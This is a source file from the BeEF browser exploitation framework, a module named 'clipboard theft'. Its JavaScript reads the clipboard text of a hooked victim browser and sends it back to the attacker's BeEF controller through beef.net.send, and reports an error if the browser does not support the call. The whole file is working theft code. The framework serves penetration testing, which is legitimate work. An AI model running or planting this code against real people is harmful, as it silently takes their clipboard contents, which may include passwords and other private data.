Path: blob/master/modules/host/clipboard_theft/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7try {8var clipboard = clipboardData.getData("Text");9beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)');10beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success());11} catch (e) {12beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents");13beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error());14}15});161718